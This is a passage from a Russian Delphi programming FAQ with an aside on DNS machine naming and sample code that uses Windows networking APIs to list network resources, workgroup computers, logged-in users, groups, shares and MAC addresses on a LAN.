С левого конца доменного имени находятся имена машин. Имена бывают "собственные" и "функциональные". Имена "собственные" каждый придумавает в меру фантазии: машинам присваиваются имена членов семьи, животных, растений, музыкантов и артистов, литературных персонажей - кто во что горазд.

Имена "функциональные" вытекают из функций, выполняемых машиной:

www
HTTP (WWW) сервер
ftp
FTP сервер
ns, nss, dns
DNS (Name) сервер
mail
Mail сервер
relay
Mail Exchanger
*proxy
соответствующий Proxy сервер
Я считаю нежелательным присваивать какой-либо машине функциональное имя - в любой момент может потребоваться перенести соответствующую функцию на другую машину. Для этого лучше всего использовать псевдонимы, которые перенаправляют запросы к данному имени на записи, относящиеся к другому имени. Но вот ссылаться на псевдонимы при обьявлении Mail Exchanger'ов и вообще использовать их в правой части записей считается нежелательным, а зачастую является недопустимым

Взято с http://delphiworld.narod.ru


Получить список пользователей, подключённых к сети

unit NetUtils;

interface

uses
  Windows, Classes;

function GetContainerList(ListRoot:PNetResource):TList;

type
  {$H+}
  PNetRes = ^TNetRes;
  TNetRes = record
    dwScope : Integer;
    dwType : Integer;
    dwDisplayType : Integer;
    dwUsage : Integer;
    LocalName : string;
    RemoteName : string;
    Comment : string;
    Provider : string;
  end;
  {H-}

implementation

uses SysUtils;

type
  PnetResourceArr = ^TNetResource;

function GetContainerList(ListRoot:PNetResource):TList;
{возвращает список сетевых имён с подуровня ListRoot, каждый
элемент списка TList - это PNetRec, где поле RemoteName определяет
соответственно сетевое имя элемента списка. Если ListRoot=nil, то
возвращается самый верхний уровень типа:
1. Microsoft Windows Network
2. Novell Netware Network
Чтобы получить список доменов сети Microsoft, нужно вызвать эту
функцию второй раз, передав ей в качестве параметра,
соответствующий элемент списка, полученного при первом её вызове.
Чтобы получить список компьютеров домена - вызвать третий раз...}
var
  TempRec : PNetRes;
  Buf : Pointer;
  Count,
  BufSize,
  Res : DWORD;
  lphEnum : THandle;
  p : PNetResourceArr;
  i : SmallInt;
  NetworkList : TList;
begin
  NetworkList := TList.Create;
  Result:=nil;
  BufSize := 8192;
  GetMem(Buf, BufSize);
  try
    Res := WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_DISK,
    RESOURCEUSAGE_CONTAINER{0}, ListRoot,lphEnum);
    {в результате получаем ссылку lphEnum}
    if Res <> 0 then
      raise Exception(Res);
    Count := $FFFFFFFF; {требуем выдать столько записей в список, сколько есть}
    Res := WNetEnumResource(lphEnum, Count, Buf, BufSize);
    {в буфере Buf - списочек в виде массива указателей на структуры
    типа TNetResourceArr, а в Count - число этих структур}
    if Res = ERROR_NO_MORE_ITEMS then
      Exit;
    if (Res <> 0) then
      raise Exception(Res);
    P := PNetResourceArr(Buf);
    for I := 0 to Count - 1 do
    begin
      // Требуется копирование из буфера, так как он
      // действителен только до следующего вызова функций группы WNet
      New(TempRec);
      TempRec^.dwScope := P^.dwScope;
      TempRec^.dwType := P^.dwType ;
      TempRec^.dwDisplayType := P^.dwDisplayType ;
      TempRec^.dwUsage := P^.dwUsage ;
      {имеются ввиду вот эти указатели}
      TempRec^.LocalName := StrPas(P^.lpLocalName);
      {в смысле - строки PChar}
      TempRec^.RemoteName := StrPas(P^.lpRemoteName);
      TempRec^.Comment := StrPas(P^.lpComment);
      TempRec^.Provider := StrPas(P^.lpProvider);
      NetworkList.Add(TempRec);
      Inc(P);
    end;
    Res := WNetCloseEnum(lphEnum);
    {а следующий вызов - вот он!}
    if Res <> 0 then
      raise Exception(Res);
    Result:=NetWorkList;
  finally
    FreeMem(Buf);
  end;
end;

end.

Взято с http://delphiworld.narod.ru


Получение имени пользователя и домена

// Пример получения имени пользователя и домена под которым работает
// текущий поток или процесс
type
 PTOKEN_USER = ^TOKEN_USER;
 _TOKEN_USER = record
   User : TSidAndAttributes;
 end;
 TOKEN_USER = _TOKEN_USER;

function GetCurrentUserAndDomain (
      szUser : PChar; var chUser: DWORD; szDomain :PChar; var chDomain : DWORD
 ):Boolean;
var
 hToken : THandle;
 cbBuf  : Cardinal;
 ptiUser : PTOKEN_USER;
 snu    : SID_NAME_USE;
begin
 Result:=false;
 // Получаем маркер доступа текущего потока нашего процесса
 if not OpenThreadToken(GetCurrentThread(),TOKEN_QUERY,true,hToken)
  then begin
   if GetLastError()< > ERROR_NO_TOKEN then exit;
   // В случее ошибки - получаем маркер доступа нашего процесса.
   if not OpenProcessToken(GetCurrentProcess(),TOKEN_QUERY,hToken)
    then exit;
  end;

 // Вывываем GetTokenInformation для получения размера буфера
 if not GetTokenInformation(hToken, TokenUser, nil, 0, cbBuf)
  then if GetLastError()< > ERROR_INSUFFICIENT_BUFFER
   then begin
    CloseHandle(hToken);
    exit;
   end;

 if cbBuf = 0 then exit;

 // Выделяем память под буфер
 GetMem(ptiUser,cbBuf);

 // В случае удачного вызова получим указатель на TOKEN_USER
 if GetTokenInformation(hToken,TokenUser,ptiUser,cbBuf,cbBuf)
  then begin
   // Ищем имя пользователя и его домен по его SID
   if LookupAccountSid(nil,ptiUser.User.Sid,szUser,chUser,szDomain,chDomain,snu)
    then Result:=true;
  end;

 // Освобождаем ресурсы
 CloseHandle(hToken);
 FreeMem(ptiUser);
end;

// Использовать функцию можно так :
var
 Domain, User : array [0..50] of Char;
 chDomain,chUser : Cardinal;
begin
 chDomain:=50;
 chUser :=50;
 if GetCurrentUserAndDomain(User,chuser,Domain,chDomain)
  then ...
end;

// Если вам необходимо получить только имя пользователя - используйте GetUserName
// Данный пример можно использовать и для определения - запущен ли процесс
// системой или пользователем.  Учетной записи Localsystem соответствует
// имя пользователя - SYSTEM и домен NT AUTORITY (лучше проверить на практике)

Взято с http://delphiworld.narod.ru


Получение IP адресов всех компьютеров в рабочей группе

var
  Computer: array[1..500] of string[25];
  ComputerCount: Integer;

procedure FindAllComputers(Workgroup: string);
var
  EnumHandle: THandle;
  WorkgroupRS: TNetResource;
  Buf: array[1..500] of TNetResource;
  BufSize: Integer;
  Entries: Integer;
  Result: Integer;
begin
  ComputerCount := 0;
  Workgroup := Workgroup + #0;
  FillChar(WorkgroupRS, SizeOf(WorkgroupRS), 0);
  with WorkgroupRS do
    begin
      dwScope := 2;
      dwType := 3;
      dwDisplayType := 1;
      dwUsage := 2;
      lpRemoteName := @Workgroup[1];
    end;
  WNetOpenEnum(RESOURCE_GLOBALNET,
    RESOURCETYPE_ANY,
    0,
    @WorkgroupRS,
    EnumHandle);
  repeat
    Entries := 1;
    BufSize := SizeOf(Buf);
    Result :=
      WNetEnumResource(EnumHandle,
      Entries,
      @Buf,
      BufSize);
    if (Result = NO_ERROR) and (Entries = 1) then
      begin
        Inc(ComputerCount);
        Computer[ComputerCount] := StrPas(Buf[1].lpRemoteName);
      end;
  until (Entries <> 1) or (Result <> NO_ERROR);
  WNetCloseEnum(EnumHandle);
end; { Find All Computers }

Автор: Song

Взято из http://forum.sources.ru


Демонстрационная программа сканирования сети

////////////////////////////////////////////////////////////////////////////////
//
//  Демонстрационная программа сканирования сети на основе
//  WNetOpenEnum, WNetEnumResource, WNetCloseEnum
//
//  Автор: Александр (Rouse_) Багель
//  mailto:rouse79@yandex.ru
//
//  Специально для форумов Мастера Дельфи и Исходники.RU
//  http://www.delphimaster.ru
//  http://forum.sources.ru
//

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, ComCtrls, Winsock, ImgList, ShellAPI;

const
  STR_START    =  'Начать сканирование';
  STR_STOP     =  'Остановить сканирование';
  STR_STARTED  =  '   Идет сканирование ...';
  STR_STOPPED  =  '   Сканирование завершено ...';
  STR_END      =  '   Завершение потока ...';
  STR_FIELD    =  '   Поле не выбрано ...';

type
  TDemoThread = class(TThread)
  private
    TreeNetWrk: TTreeNode;
    TreeDomain: TTreeNode;
    TreeServer: TTreeNode;
    TreeShares: TTreeNode;
    Param_dwType: Byte;
    Param_dwDisplayType: Byte;
    Param_lpRemoteName: String;
    Param_lpIP: String;
  protected
    procedure Execute; override;
    procedure Scan(Res: TNetResource; Root: boolean);
    procedure AddElement;
    procedure Stop;
  end;

  TForm1 = class(TForm)
    Button1: TButton;
    TreeView1: TTreeView;
    StatusBar1: TStatusBar;
    ImageList1: TImageList;
    procedure Button1Click(Sender: TObject);
    procedure TreeView1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure TreeView1DblClick(Sender: TObject);
  private
    Thread: TDemoThread;
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

function GetIPAddress(NetworkName: String): String;
var
 Error: DWORD;
 HostEntry: PHostEnt;
 Data: WSAData;
 Address: In_Addr;
begin
  Delete(NetworkName, 1, 2);
  Error:=WSAStartup(MakeWord(1, 1), Data);
  if Error = 0 then
  begin
    HostEntry:=gethostbyname(PChar(NetworkName));
    Error:=GetLastError;
    if Error = 0 then
    begin
      Address:=PInAddr(HostEntry^.h_addr_list^)^;
      Result:=inet_ntoa(Address);
    end
    else
     Result:='Unknown';
  end
  else
    Result:='Error';
  WSACleanup;
end;

{ TDemoThread }

procedure TDemoThread.Execute;
var
  R:TNetResource;
begin
  inherited;
  Priority := tpIdle;
  FreeOnTerminate := True;
  Resume;
  Scan(R, True);
  TreeDomain := nil;
  TreeServer := nil;
  Synchronize(Stop);
end;

procedure TDemoThread.Scan(Res: TNetResource; Root: boolean);
var
 hEnum: Cardinal;
 nrResource: array[0..512] of TNetResource;
 dwSize: DWORD;
 numEntries: DWORD;
 I: DWORD;
 dwResult: DWORD;
begin
  if Root then
    dwResult := WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_ANY,
      0, nil, hEnum)
  else
    dwResult := WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_ANY,
      0, @Res, hEnum);
  if dwResult = NO_ERROR then
  begin
    dwSize := SizeOf(nrResource);
    numEntries := DWORD(-1);                                   // ERROR_NO_MORE_ITEMS
    if WNetEnumResource(hEnum, numEntries, @nrResource, dwSize) = NO_ERROR then
    begin
      for i := 0 to numEntries - 1 do
      begin
        if Terminated then Break;
        with nrResource[i] do
        begin
          Param_dwType := dwType;
          Param_dwDisplayType := dwDisplayType;
          Param_lpRemoteName := lpRemoteName;
          if Param_dwDisplayType = RESOURCEDISPLAYTYPE_SERVER then
            Param_lpIP := GetIPAddress(Param_lpRemoteName);
        end;
        if Assigned(nrResource[i].lpRemoteName) then
          Synchronize(AddElement);
        Scan(nrResource[i], false);
      end;
    WNetCloseEnum(hEnum);
    end;
  end;
end;

procedure TDemoThread.AddElement;
begin
  Application.ProcessMessages;
  case Param_dwDisplayType of
    RESOURCEDISPLAYTYPE_NETWORK:
    begin
      TreeNetWrk := Form1.TreeView1.Items.Add(nil, Param_lpRemoteName);
      TreeNetWrk.StateIndex := 1;
    end;
    RESOURCEDISPLAYTYPE_DOMAIN:
    begin
      TreeDomain := Form1.TreeView1.Items.AddChild(TreeNetWrk, Param_lpRemoteName);
      TreeDomain.StateIndex := 2;
    end;
    RESOURCEDISPLAYTYPE_SERVER:
    begin
      TreeServer := Form1.TreeView1.Items.AddChild(TreeDomain, Param_lpRemoteName + ' IP: ' + Param_lpIP);
      TreeServer.StateIndex := 3;
    end;
    RESOURCEDISPLAYTYPE_SHARE:
    begin
      TreeShares := Form1.TreeView1.Items.AddChild(TreeServer, Param_lpRemoteName);
      TreeShares.StateIndex := 3 + Param_dwType;
    end;
  end;
end;

procedure TDemoThread.Stop;
begin
  Form1.StatusBar1.Panels[1].Text := STR_STOPPED;
  Form1.Button1.Caption := STR_START;
  Form1.Button1.Enabled := True;
  Form1.Tag := 0;
end;

{ TForm1 }

procedure TForm1.FormCreate(Sender: TObject);
begin
  Tag := 0;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  Tag := Tag + 1;
  if (Tag mod 2) = 1 then
  begin
    TreeView1.Items.Clear;
    StatusBar1.Panels[1].Text := STR_STARTED;
    Button1.Caption := STR_STOP;
    Thread := TDemoThread.Create(False);
  end
  else
  begin
    StatusBar1.Panels[1].Text := STR_END;
    Button1.Enabled := False;
    Thread.Terminate;
  end;
end;

procedure TForm1.TreeView1Click(Sender: TObject);
begin
  if Assigned(TreeView1.Selected) then
    StatusBar1.Panels[0].Text := '   ' + TreeView1.Selected.Text
  else
    StatusBar1.Panels[0].Text := STR_FIELD;
end;

procedure TForm1.TreeView1DblClick(Sender: TObject);
var
  Str: String;
begin
  if Assigned(TreeView1.Selected) then
  begin
    Str := TreeView1.Selected.Text;
    if Copy(Str, 1, 2) <> '\\' then Exit;
    if Pos(' IP:', Str) <> 0 then
      ShellExecute(Handle, 'explore', PChar(Copy(Str, 1, Pos(' IP:', Str))), nil, nil, SW_SHOW)
    else
      ShellExecute(Handle, 'explore', PChar(Str), nil, nil, SW_SHOW);
  end;
end;

end.

Оригинал доступен по следующему адресу: http://rouse.front.ru/netscan.zip

Автор Rouse_
Взято из http://forum.sources.ru


Демонстрационная программа получения информации о компьютере по IP

// Демонстрационная программа получения информации о компьютере
// на основе IP адреса
// Автор: Александр (Rouse_) Багель
// 30 декабря 2004
// =============================================================
// Специально для FAQ сайта Мастера Дельфи и Исходники.RU
// http://www.delphimaster.ru
// http://forum.sources.ru

// Windows9x, Windows Millenium не поддерживются

// Примечание: Я не любитель венгерской нотации в отношении переменных
// и давно выработал собственный, удобный для меня, стиль написания кода,
// (да и начальство не против :) поэтому не судить строго ;)

unit uMain;

{$DEFINE RUS}

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, ComCtrls, CommCtrl, Winsock;

const
  {$IFDEF RUS}
    RES_UNKNOWN = 'Неизвестно';
    RES_IP      = 'IP адрес: ';
    RES_CMP     = 'Имя компьютера: ';
    RES_USR     = 'Имя пользователя: ';
    RES_DOM     = 'Домен: ';
    RES_SER     = 'Сервер домена: ';
    RES_COM     = 'Коментарий: ';
    RES_PROV    = 'Провайдер: ';
    RES_GRP     = 'Группы: ';
    RES_MAC     = 'MAC адресс: ';
    RES_SHARES  = 'Доступные ресурсы: ';
    RES_TIME    = 'Времени затрачено: ';
    RES_COM_NO  = 'Отсутствует';
  {$ELSE}
    RES_UNKNOWN = 'Unknown';
    RES_IP      = 'IP adress: ';
    RES_CMP     = 'Computer name: ';
    RES_USR     = 'User name: ';
    RES_DOM     = 'Domen: ';
    RES_SER     = 'Domen server: ';
    RES_COM     = 'Comment: ';
    RES_PROV    = 'Provider: ';
    RES_GRP     = 'Groups: ';
    RES_MAC     = 'MAC adress: ';
    RES_SHARES  = 'Available shares: ';
    RES_TIME    = 'Expended time: ';
    RES_COM_NO  = 'Absent';
  {$ENDIF}

  WSA_TYPE = $101; //$202;

  // Для работы с ARP (Address Resolution Protocol) таблицей
  IPHLPAPI = 'IPHLPAPI.DLL';
  MAX_ADAPTER_ADDRESS_LENGTH = 7;

type

  LMSTR = LPWSTR;
  NET_API_STATUS = DWORD;

  // Следующие три типа используются для работы с Iphlpapi.dll
  // Выдрал из Iphlpapi.h

  // Так будет выглядеть МАС
  TMacAddress = array[0..MAX_ADAPTER_ADDRESS_LENGTH] of byte;

  // Это структура для единичного запроса
  TMibIPNetRow = packed record
    dwIndex         : DWORD;
    dwPhysAddrLen   : DWORD;
    bPhysAddr       : TMACAddress;  // Вот здесь и лежит МАС!!!
    dwAddr          : DWORD;
    dwType          : DWORD;
  end;

  // Как и в статье не будем выделять память динамически,
  // а сразу создадим массив... (хотя, чесно говоря, это не правильно,
  // но я иду простым путем :)
  TMibIPNetRowArray = array [0..512] of TMibIPNetRow;

  // А это, как и во всей библиотеке, такая вот...
  // запрашиваемая структура (в моей статье уже видел пример...)
  PTMibIPNetTable = ^TMibIPNetTable;
  TMibIPNetTable = packed record
    dwNumEntries    : DWORD;
    Table: TMibIPNetRowArray;
  end;

  // Структура для перечисления залогиненных пользователей
  _WKSTA_USER_INFO_1 = record
    wkui1_username: LPWSTR;
    wkui1_logon_domain: LPWSTR;
    wkui1_oth_domains: LPWSTR;
    wkui1_logon_server: LPWSTR;
  end;
  WKSTA_USER_INFO_1 = _WKSTA_USER_INFO_1;
  PWKSTA_USER_INFO_1 = ^_WKSTA_USER_INFO_1;
  LPWKSTA_USER_INFO_1 = ^_WKSTA_USER_INFO_1;

  // Структура для определения принадлежности пользователя к группам
  PGroupUsersInfo0 = ^_GROUP_USERS_INFO_0;
  _GROUP_USERS_INFO_0 = packed record
    grui0_name: LPWSTR;
  end;
  TGroupUsersInfo0 = _GROUP_USERS_INFO_0;
  GROUP_USERS_INFO_0 = _GROUP_USERS_INFO_0;

  // Структура для отределения доступных сетевых ресурсов
  PSHARE_INFO_1 = ^SHARE_INFO_1;
  _SHARE_INFO_1 = record
    shi1_netname: LMSTR;
    shi1_type: DWORD;
    shi1_remark: LMSTR;
  end;
  SHARE_INFO_1 = _SHARE_INFO_1;
  TShareInfo1 = SHARE_INFO_1;
  PShareInfo1 = PSHARE_INFO_1;

  TMainForm = class(TForm)
    gbIP: TGroupBox;
    gbInfo: TGroupBox;
    memInfo: TMemo;
    btnGetInfo: TButton;
    procedure btnGetInfoClick(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    IP, Font: Integer;  // Это переменные для работы с
    edIP: HWND;         // WC_IPADDRESS классом
    function GetNameFromIP(const IP: String): String;
    function GetUsers(const CompName: String): String;
    function GetDomain(const CompName, Provider: String): String;
    function GetComment(CompName, Provider: String): String;
    function GetProvider(const CompName: String): String;
    function GetMacFromIP(const IP: String): String;
    function GetDomainServer(const DomainName: String): String;
    function GetGroups(DomainServer: String; UserName: String): String;
    function GetShares(const CompName: String): String;
  end;

  // Объявим функции, так как их объявлений нет в Дельфи.
  // Здесь идет статическая загрузка библиотек, только потому,
  // что данные функции есть во всех системах, начиная с W95...

  {$EXTERNALSYM WNetGetResourceInformation}
  function WNetGetResourceInformation(lpNetResource: PNetResource;
    lpBuffer: Pointer; var lpcbBuffer: DWORD; lplpSystem: Pointer): DWORD; stdcall;
  {$EXTERNALSYM GetIpNetTable}
  function GetIpNetTable(pIpNetTable: PTMibIPNetTable;
    pdwSize: PULONG; bOrder: Boolean): DWORD; stdcall;

  function WNetGetResourceInformation; external mpr name 'WNetGetResourceInformationA';
  function GetIpNetTable; external IPHLPAPI name 'GetIpNetTable';

  function NetGetAnyDCName(servername: LPCWSTR;  domainname: LPCWSTR;
    bufptr: Pointer): Cardinal;
    stdcall; external 'netapi32.dll';

  function NetShareEnum(servername: LMSTR; level: DWORD; var bufptr: Pointer;
    prefmaxlen: DWORD; entriesread, totalentries,
    resume_handle: LPDWORD): NET_API_STATUS; stdcall; external 'Netapi32.dll';

  function NetApiBufferFree(buffer: Pointer): Cardinal;
    stdcall; external 'netapi32.dll';

  function NetWkstaUserEnum(ServerName: LPCWSTR;
                          Level: DWORD;
                          BufPtr: Pointer;
                          PrefMaxLen: DWORD;
                          EntriesRead: LPDWORD;
                          TotalEntries: LPDWORD;
                          ResumeHandle: LPDWORD): LongInt; stdcall; external 'netapi32.dll';

  function NetUserGetGroups(ServerName: LPCWSTR;
                          UserName: LPCWSTR;
                          level: DWORD;
                          bufptr: Pointer;
                          prefmaxlen: DWORD;
                          var entriesread: DWORD;
                          var totalentries: DWORD): LongInt; stdcall; external 'netapi32.dll';

var
  MainForm: TMainForm;

implementation

{$R *.dfm}

// Для ввода IP адреса будем использовать класс WC_IPADDRESS
// именно для этого и предназначеный...
procedure TMainForm.FormCreate(Sender: TObject);
begin
  // Зададим первоначальный IP адрес (это адрес моей машины)
  IP := MAKEIPADDRESS(192, 168, 2, 108);
  // Инициализируем дополнительные классы библиотеки ComCtl32.dll.
  InitCommonControl(ICC_INTERNET_CLASSES);
  // Создадим само окошко (предком ему будет gbIP)
  edIP:= CreateWindow(WC_IPADDRESS, nil, WS_CHILD or WS_VISIBLE,
    6, 16, 100, 21, gbIP.Handle, 0, hInstance, nil);
  // Укажем ему какой IP показывать
  SendMessage(edIP, IPM_SETADDRESS, 0, IP);
  // Подберем нужный шрифтик для него...
  Font := CreateFont(-11, 0, 0, 0, 400, 0, 0, 0, DEFAULT_CHARSET,
    OUT_DEFAULT_PRECIS, CLIP_DEFAULT_PRECIS, DEFAULT_QUALITY,
    DEFAULT_PITCH or FF_DONTCARE, 'MS Sans Serif');
  // и скажем, чтоб он был с этим шрифтом (а то больно уж неказистый...)
  SendMessage(edIP, WM_SETFONT, Font, 0);
end;

// Ну это короче понятно...
procedure TMainForm.btnGetInfoClick(Sender: TObject);
var
  TmpCompName, TmpProvider, TmpGroup, TmpUser, TmpServer: String;
  Time: Cardinal;
  IPStr: String;
begin
  Time := GetTickCount;  // Засечем время...

  // Узнаем, что за адрес введен... (он появится в IP)
  SendMessage(edIP, IPM_GETADDRESS, 0, Longint(PDWORD(@IP)));

  // Преобразуем эту абракадабру в нормальный "Dotted IP"
  IPStr := IntToStr(FIRST_IPADDRESS(IP));
  IPStr := IPStr + '.' + IntToStr(SECOND_IPADDRESS(IP));
  IPStr := IPStr + '.' + IntToStr(THIRD_IPADDRESS(IP));
  IPStr := IPStr + '.' + IntToStr(FOURTH_IPADDRESS(IP));

  // Ну и начнем работать...
  with memInfo, memInfo.Lines do                        // Вывод информации
  begin
    Clear;                                              // Очищаем экран
    Refresh;                                            // Ну и обновляем...
                                                        // (при вызове первой функции может не обновиться)

    Add(RES_IP + IPStr);                                // Выводим IP адрес
    TmpCompName := GetNameFromIP(IPStr);
    if TmpCompName = RES_UNKNOWN then Exit;
    Add(RES_CMP + TmpCompName);                         // Выводим имя компьютера
    TmpUser := GetUsers(IPStr);
    Add(RES_USR + TmpUser);                             // Выводим имя пользователя
    TmpProvider := GetProvider(TmpCompName);
    Add(RES_PROV + TmpProvider);                        // Выводим провайдера
    Add(RES_COM + GetComment(TmpCompName,
      TmpProvider));                                    // Выводим комментарий к ресурсу
    TmpGroup := GetDomain(TmpCompName, TmpProvider);
    Add(RES_DOM + TmpGroup);                            // Выводим группу
    TmpServer := GetDomainServer(TmpGroup);
    if TmpServer <> '' then
    begin
      Add(RES_SER + TmpServer);                         // Выводим имя сервера
      Add(RES_GRP + GetGroups(TmpServer, TmpUser));     // Выводим группы домена в которые входит пользователь
    end;
    Add(RES_SHARES + GetShares(TmpCompName));           // Выводим список доступных ресурсов
    Add(RES_MAC + GetMacFromIP(IPStr));                 // Выводим МАС адрес
    Add(RES_TIME + IntToStr(GetTickCount - Time));      // Сколько времени затрачено
  end;
end;

// Вообщето желательно запускать данную функцию отдельным потоком.
// Поясню: при отсутствии компьютера с заданным IP программа будет
// ожидать выполнения gethostbyaddr и на это время подвиснет.
function TMainForm.GetNameFromIP(const IP: String): String;
var
  WSA: TWSAData;
  Host: PHostEnt;
  Addr: Integer;
  Err: Integer;
begin
  Result := RES_UNKNOWN;
  Err := WSAStartup(WSA_TYPE, WSA);
  if Err <> 0 then  // Лучше пользоваться такой конструкцией,
  begin             // чтобы в случае ошибки можно было увидеть ее код.
    ShowMessage(SysErrorMessage(GetLastError));
    Exit;
  end;
  try
    Addr := inet_addr(PChar(IP));
    if Addr = INADDR_NONE then
    begin
      ShowMessage(SysErrorMessage(GetLastError));
      WSACleanup;
      Exit;
    end;
    Host := gethostbyaddr(@Addr, SizeOf(Addr), PF_INET);
    if Assigned(Host) then  // Обязательная проверка, в противном случае, при
      Result := Host.h_name // отсутствии компьютера с заданым IP, получим AV
    else
      ShowMessage(SysErrorMessage(GetLastError));
  finally
    WSACleanup;
  end;
end;

// Перечисляем всех залогиненных на машине пользователей
// начинаем перечисления со второго пользователя, потомчто
// первым будет "имя компьютера"$
function TMainForm.GetUsers(const CompName: String): String;
var
  Buffer, tmpBuffer: Pointer;
  PrefMaxLen       : DWORD;
  Resume_Handle    : DWORD;
  EntriesRead      : DWORD;
  TotalEntries     : DWORD;
  I, Size          : Integer;
  PSrvr            : PWideChar;
begin
  PSrvr := nil;
  try
    // Переводим имя компьютера типа PWideChar
    Size := Length(CompName);
    GetMem(PSrvr, Size * SizeOf(WideChar) + 1);
    StringToWideChar(CompName, PSrvr, Size + 1);

    PrefMaxLen := DWORD(-1);
    EntriesRead := 0;
    TotalEntries := 0;
    Resume_Handle := 0;
    Buffer := nil;

    // Получаем список пользователей на компьютере из PSrvr
    if NetWkstaUserEnum( PSrvr, 1, @Buffer, PrefMaxLen, @EntriesRead,
      @TotalEntries, @Resume_Handle) = S_OK then
    begin
      tmpBuffer := Pointer(DWORD(Buffer) + SizeOf(WKSTA_USER_INFO_1));
      for I := 1 to TotalEntries - 1 do
      begin
        Result := Result + WKSTA_USER_INFO_1(tmpBuffer^).wkui1_username + ', ';
        tmpBuffer := Pointer(DWORD(tmpBuffer) + SizeOf(WKSTA_USER_INFO_1));
      end;
      Result := Copy(Result, 1, Length(Result) - 2);
  end
  else
    ShowMessage(SysErrorMessage(GetLastError));
  finally
    NetApiBufferFree(Buffer);
    FreeMem(PSrvr);
  end;
end;

// Все-таки будем сканировать сеть, НО!!!
// Мы не будем производить рекурсивное сканирование ресурсов с
// dwDisplayType равным RESOURCEDISPLAYTYPE_SERVER!!!
// В основном все торможение происходить именно здесь,
// так как эти ресурсы являются так называемыми корневыми
// для компьютеров. Если компьютер отключен его имя может сохраниться
// в кэше и при попытке сканирования получим ненужные нам тормоза.
// В принципе, у меня эта функция выдавала неплохие результаты по скорости...
// (Около 31 мс - максимум с отображением на memInfo, сеть 100Мб, 28 компов)

function TMainForm.GetComment(CompName, Provider: String): String;
var
  StopScan: Boolean;
  TmpRes: TNetResource;

  // Само сканирование
  procedure Scan(Res: TNetResource; Root: boolean);
  var
    Enum, I: Cardinal;
    ScanRes: array [0..512] of TNetResource; // Можно сделать и больший размер массива
    Size, Entries, Err: DWORD;               // но, как показывает практика, такого достаточно
  begin

    if StopScan then Exit; // Используем флаг для выхода из рекурсии

    // Ну тут думаю все понятно... просто два типа начала сканирования
    if Root = True then
      Err := WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_DISK,
        0, nil, Enum) // корневой...
    else
      Err := WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_DISK,
        0, @Res, Enum); // и рекурсионный для поиска вложений...

    if Err = NO_ERROR then
    begin
      Size := SizeOf(ScanRes);
      Entries := DWORD(-1);
      Err := WNetEnumResource(Enum, Entries, @ScanRes, Size);
      if Err = NO_ERROR then
      try
        for I := 0 to Entries - 1 do
        begin
          if StopScan then Exit; // Еще один флаг, так как выход на верхний вызов
          with ScanRes[i] do     // может осуществиться из цикла
          begin
            if dwDisplayType = RESOURCEDISPLAYTYPE_SERVER then
              if lpRemoteName = CompName then // если нашли наш компьютер...
              begin
                Result :=  lpComment;     // вытаскиваем комментарий
                StopScan := True;         // и выставляем флаг для выхода из рекуссии
                Exit;
              end;
            if dwDisplayType <> RESOURCEDISPLAYTYPE_SERVER then  // не будем сканировать шары у компов...
              Scan(ScanRes[i], False);
          end;
        end;
      finally
        WNetCloseEnum(Enum);
      end
      else
        if Err <> ERROR_NO_MORE_ITEMS then  // Нет элементов для отображения...
          MessageDlg(SysErrorMessage(GetLastError), mtError, [mbOK], 0);
    end
    else
      ShowMessage(SysErrorMessage(GetLastError));
  end;

// Основная процедура
begin

  // Подготовительные действия...
  Result := RES_UNKNOWN;

  if CompName = RES_UNKNOWN then Exit;    // Если имя компа не найдено,
                                          // незачем и продолжать.

  CompName := '\\' + CompName;            // Подправим имя,
                                          // чтоб не делать это далее в цикле...

  StopScan := False;    // Снимем флаг выхода из рекурсии.
                        // Здесь обязательно инициализирование переменной
                        // типа Boolean, так как было замечено, что
                        // некоторые версии Дельфи криво инициализируют
                        // значение по умолчанию, после чего логические
                        // операторы типа AND - OR - NOT перестают работать.
                        // Например: по умолчанию переменная StopScan равна False
                        // без инициализации, после StopScan := not StopScan;
                        // переменная StopScan НЕ ВСЕГДА станет True!!!

  // Запускаем сканирование...
  // (можно и в потоке, но у меня время на сканирование уходит 8 мс.)
  Scan(TmpRes, True);

  // И смотрим результаты...
  if Result = '' then Result := RES_COM_NO;
end;

// Задача этой функции предельно проста:
// При известном имени компьютера мы можем заполнить структуру
// и передать ее функции WNetGetResourceParent которая и вернет
// нам предка, в моем случае группу.
// Да, чуть не забыл, если имя компьютера есть в кэше, а сам
// компьютер отключен, то в качестве результата будет либо
// пустая строка либо 'Нет данных'...
// Поэтому опять придется сканировать, если слишком уж критично...
function TMainForm.GetDomain(const CompName, Provider: String): String;
var
  CurrRes: TNetResource;
  ParentName: array [0..1] of TNetResource;
  Enum: DWORD;
  Err: Integer;
begin
  with CurrRes do
  begin
    dwScope := RESOURCE_GLOBALNET;
    dwType := RESOURCETYPE_DISK;
    dwDisplayType := RESOURCEDISPLAYTYPE_SERVER;
    dwUsage := RESOURCEUSAGE_CONTAINER;
    lpLocalName := '';
    lpRemoteName := PChar('\\' + CompName);
    lpComment := '';
    lpProvider := PChar(Provider);
  end;
  Enum := SizeOf(ParentName);
  Err := WNetGetResourceParent(@CurrRes, @ParentName, Enum);
  if Err = NO_ERROR then
  begin
    Result := ParentName[0].lpRemoteName;
    if Result = '' then Result := RES_COM_NO;
  end
  else
    ShowMessage(SysErrorMessage(GetLastError));
end;

// А этой функцией мы можем узнать провайдера
// (в основном это Microsoft Network).
function TMainForm.GetProvider(const CompName: String): String;
var
  Buffer: array [0..255] of Char;
  Size: DWORD;
begin
  Size := SizeOf(Buffer);
  if WNetGetProviderName(WNNC_NET_LANMAN, @Buffer, Size) <> NO_ERROR then
    Result := RES_COM_NO
  else
    Result := String(Buffer);
end;

// Из всех приведенных функций эта самая интересная.
// Я много раз говорил о незаслуженном невнимании программистов
// к IPHLPAPI.DLL. Данный пример подтверждает это. На всех форумах
// можно услышать о получании МАС адреса посредством посылки IPX пакета
// и разбора заголовка ответа от удаленного компьютера
